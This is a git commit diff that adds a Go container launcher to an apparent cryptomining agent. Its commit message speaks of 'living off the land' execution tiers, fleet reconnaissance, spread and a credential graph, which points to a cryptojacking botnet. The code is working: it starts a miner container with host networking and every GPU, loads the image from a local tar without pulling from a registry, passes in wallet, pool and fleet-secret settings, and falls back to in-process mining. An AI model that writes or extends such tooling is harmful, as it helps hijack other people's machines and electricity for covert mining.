Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
258
agent/miner/container_launcher.go
Normal file
258
agent/miner/container_launcher.go
Normal file
@@ -0,0 +1,258 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const defaultMinerImage = "aetherforge/agent-worker:latest"
|
||||
|
||||
// containerExecCommand is exec.Command; tests override via SetContainerExecCommand.
|
||||
var containerExecCommand = exec.Command
|
||||
|
||||
// SetContainerExecCommand restores the default when fn is nil.
|
||||
func SetContainerExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
containerExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
containerExecCommand = fn
|
||||
}
|
||||
|
||||
// ContainerLauncher supervises an OCI workload that runs CPU mining isolated from the host agent.
|
||||
type ContainerLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
runtime ContainerRuntimeInfo
|
||||
image string
|
||||
name string
|
||||
tarPath string // non-empty → docker load from tar, never registry pull
|
||||
readOnly bool // docker_load tier uses --read-only rootfs
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewContainerLauncher builds a launcher when a container runtime is available.
|
||||
func NewContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) (*ContainerLauncher, error) {
|
||||
return newContainerLauncher(cfg, runtime, "", false)
|
||||
}
|
||||
|
||||
// NewContainerLauncherFromTar builds a docker_load tier launcher (local tar, no registry pull).
|
||||
func NewContainerLauncherFromTar(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string) (*ContainerLauncher, error) {
|
||||
tarPath = strings.TrimSpace(tarPath)
|
||||
if tarPath == "" {
|
||||
return nil, ErrNoImageTar
|
||||
}
|
||||
return newContainerLauncher(cfg, runtime, tarPath, true)
|
||||
}
|
||||
|
||||
func newContainerLauncher(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo, tarPath string, readOnly bool) (*ContainerLauncher, error) {
|
||||
if !runtime.Available || runtime.CLI == "" {
|
||||
return nil, fmt.Errorf("no container runtime (docker/podman not in PATH)")
|
||||
}
|
||||
image := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_IMAGE"))
|
||||
if image == "" {
|
||||
image = defaultMinerImage
|
||||
}
|
||||
name := containerName(cfg)
|
||||
return &ContainerLauncher{
|
||||
cfg: cfg,
|
||||
runtime: runtime,
|
||||
image: image,
|
||||
name: name,
|
||||
tarPath: tarPath,
|
||||
readOnly: readOnly,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func containerName(cfg config.RuntimeConfig) string {
|
||||
suffix := strings.TrimSpace(cfg.BuildID)
|
||||
if suffix == "" {
|
||||
suffix = "worker"
|
||||
}
|
||||
suffix = strings.Map(func(ch rune) rune {
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
|
||||
return ch
|
||||
}
|
||||
return '-'
|
||||
}, suffix)
|
||||
return "aetherforge-miner-" + suffix
|
||||
}
|
||||
|
||||
// Start launches the miner container (idempotent while already running).
|
||||
func (l *ContainerLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
if l.tarPath != "" {
|
||||
loaded, err := l.loadImageFromTar()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if loaded != "" {
|
||||
l.image = loaded
|
||||
}
|
||||
}
|
||||
|
||||
args := l.buildRunArgs()
|
||||
cmd := containerExecCommand(l.runtime.CLI, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
return fmt.Errorf("%s run failed: %w", l.runtime.CLI, err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
mode := "registry"
|
||||
if l.tarPath != "" {
|
||||
mode = "docker_load"
|
||||
}
|
||||
log.Printf("[container] started %s (%s) image=%s mode=%s wallet=%s", l.name, l.runtime.CLI, l.image, mode, l.cfg.Wallet)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
if err != nil {
|
||||
log.Printf("[container] miner container exited: %v — host will fall back to in-process mining if configured", err)
|
||||
} else {
|
||||
log.Printf("[container] miner container stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop removes the running container.
|
||||
func (l *ContainerLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
running := l.running
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
_ = containerExecCommand(l.runtime.CLI, "rm", "-f", l.name).Run()
|
||||
l.mu.Lock()
|
||||
if l.cmd != nil && l.cmd.Process != nil {
|
||||
_ = l.cmd.Process.Kill()
|
||||
}
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Image returns the OCI image reference used for the miner workload.
|
||||
func (l *ContainerLauncher) Image() string {
|
||||
return l.image
|
||||
}
|
||||
|
||||
// Running reports whether the launcher believes the container is active.
|
||||
func (l *ContainerLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) loadImageFromTar() (string, error) {
|
||||
cmd := containerExecCommand(l.runtime.CLI, "load", "-i", l.tarPath)
|
||||
var buf bytes.Buffer
|
||||
cmd.Stdout = &buf
|
||||
cmd.Stderr = &buf
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("%s load failed: %w (%s)", l.runtime.CLI, err, strings.TrimSpace(buf.String()))
|
||||
}
|
||||
for _, line := range strings.Split(buf.String(), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if after, ok := strings.CutPrefix(line, "Loaded image:"); ok {
|
||||
return strings.TrimSpace(after), nil
|
||||
}
|
||||
if after, ok := strings.CutPrefix(line, "Loaded image ID:"); ok {
|
||||
return strings.TrimSpace(after), nil
|
||||
}
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) buildRunArgs() []string {
|
||||
args := []string{
|
||||
"run", "--rm", "-d",
|
||||
"--name", l.name,
|
||||
}
|
||||
|
||||
if l.tarPath != "" {
|
||||
args = append(args, "--pull=never")
|
||||
}
|
||||
|
||||
if l.readOnly {
|
||||
args = append(args, "--read-only", "--tmpfs", "/tmp")
|
||||
}
|
||||
|
||||
if runtime.GOOS == "linux" {
|
||||
args = append(args, "--network", "host")
|
||||
}
|
||||
if l.cfg.GPUEnabled {
|
||||
args = append(args, "--gpus", "all")
|
||||
}
|
||||
|
||||
env := l.containerEnv()
|
||||
for _, e := range env {
|
||||
args = append(args, "-e", e)
|
||||
}
|
||||
|
||||
args = append(args, l.image)
|
||||
return args
|
||||
}
|
||||
|
||||
func (l *ContainerLauncher) containerEnv() []string {
|
||||
threads := l.cfg.EffectiveThreads()
|
||||
pairs := map[string]string{
|
||||
"AETHERFORGE_SERVER_URL": l.cfg.ServerURL,
|
||||
"AETHERFORGE_WALLET": l.cfg.Wallet,
|
||||
"AETHERFORGE_WORKER": l.cfg.WorkerName,
|
||||
"AETHERFORGE_POOL_HOST": l.cfg.PoolHost,
|
||||
"AETHERFORGE_POOL_PORT": fmt.Sprintf("%d", l.cfg.PoolPort),
|
||||
"AETHERFORGE_POOL_TLS": boolEnv(l.cfg.PoolTLS),
|
||||
"AETHERFORGE_POOL_PASS": l.cfg.PoolPass,
|
||||
"AETHERFORGE_THREADS": fmt.Sprintf("%d", threads),
|
||||
"AETHERFORGE_MINER_EXECUTION": ExecutionInProcess,
|
||||
"AETHERFORGE_FLEET_SECRET": l.cfg.FleetSecret,
|
||||
"MINER_LOG_FILE": "/tmp/miner.log",
|
||||
}
|
||||
if l.cfg.RVNWallet != "" {
|
||||
pairs["AETHERFORGE_RVN_WALLET"] = l.cfg.RVNWallet
|
||||
pairs["AETHERFORGE_RVN_POOL_HOST"] = l.cfg.RVNPoolHost
|
||||
pairs["AETHERFORGE_RVN_POOL_PORT"] = fmt.Sprintf("%d", l.cfg.RVNPoolPort)
|
||||
pairs["AETHERFORGE_GPU_ENABLED"] = boolEnv(l.cfg.GPUEnabled)
|
||||
}
|
||||
out := make([]string, 0, len(pairs))
|
||||
for k, v := range pairs {
|
||||
if v != "" {
|
||||
out = append(out, k+"="+v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func boolEnv(v bool) string {
|
||||
if v {
|
||||
return "1"
|
||||
}
|
||||
return "0"
|
||||
}
|
||||
Reference in New Issue
Block a user